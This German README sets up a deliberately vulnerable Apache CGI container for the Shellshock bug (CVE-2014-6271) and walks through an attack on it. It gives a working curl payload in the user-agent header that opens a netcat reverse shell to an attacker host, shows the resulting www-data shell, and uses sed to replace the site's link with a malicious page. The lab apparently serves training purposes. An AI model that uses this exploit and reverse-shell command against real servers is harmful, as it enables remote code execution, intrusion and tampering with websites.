CVE-2014-6271-Apache-Debian

Übersicht

Dieses Repository ist eine PoC-Umgebung für CVE-2014-6271.
Sie können einen Webservice einschließlich einer Schwachstelle mit einem Apache2-Container-Image bereitstellen.

Vorbereitung

Image-Build

Erstellen Sie ein unsicheres Image aus dem Dockerfile.

# docker build -t cve-2014-6271-apache-debian:buster ./insecure-base-image/
# docker build -t training-website-poc:v1.0 ./web-insecure/

PoC-Container bereitstellen

Docker

Stellen Sie den PoC-Container als Docker-Container bereit.

# docker run -d -p 8080:80 training-website-poc:v1.0

Kubernetes

Stellen Sie den PoC-Container als k8s-Pod und -Service bereit.

# kubectl apply -f web-insecure/k8s-manifest/web-insecure-pod.yml
# kubectl apply -f web-insecure/k8s-manifest/web-insecure-svc.yml

Zugriff auf den PoC-Webservice

Nach Abschluss des Deployments können Sie die Webseite durch Aufrufen der folgenden URL mit einem Browser durchsuchen.
Sie können auf die k8s-Laborumgebung zugreifen, indem Sie auf den Link "Click!" unter der Webseite klicken.

Docker

http://<docker host IP>:8080

Kubernetes

http://<k8s service endpoint>:<k8s service port>

Angriffsdemo

In dieser Demo können Sie die Webseite vom Angreifer-Host (außerhalb des Containers) ändern, indem Sie die Schwachstelle von CVE-2014-6271 ausnutzen.

Führen Sie diese Befehle vom Angreifer-Host aus.

Terminal 1

# nc -nvlp 5050

Terminal 2
※In diesem Fall stellen wir den PoC-Container mit Docker bereit. Bei Kubernetes sollte die URL http://<k8s service endpoint>:<k8s service port> lauten.

# curl -H "user-agent: () { :; }; echo; /bin/nc -e /bin/bash <Attacker Host IP> 5050" http://<docker host IP>:8080/cgi-bin/vulnerable

Danach sehen Sie, dass das /bin/bash des PoC-Containers im Terminal 1 ausgeführt werden kann.

Listening on 0.0.0.0 5050
Connection received on 172.17.0.2 38926
id
uid=33(www-data) gid=33(www-data) groups=33(www-data),1000(wheel)
pwd
/usr/lib/cgi-bin

Ändern Sie den Link "Click!" der Webseite.
In diesem Fall verwenden wir eine Dummy-Seite für den bösartigen Link.

sudo sed -i -e 's/https\:\/\/www.katacoda.com\/courses\/kubernetes/danger.html/' /var/www/html/index.html

Rufen Sie die Webseite erneut auf und klicken Sie auf den Link "Click!" unter der Webseite.

http://<docker host IP>:8080

Referenzen

https://github.com/hmlio/vaas-cve-2014-6271
https://github.com/opsxcq/exploit-CVE-2014-6271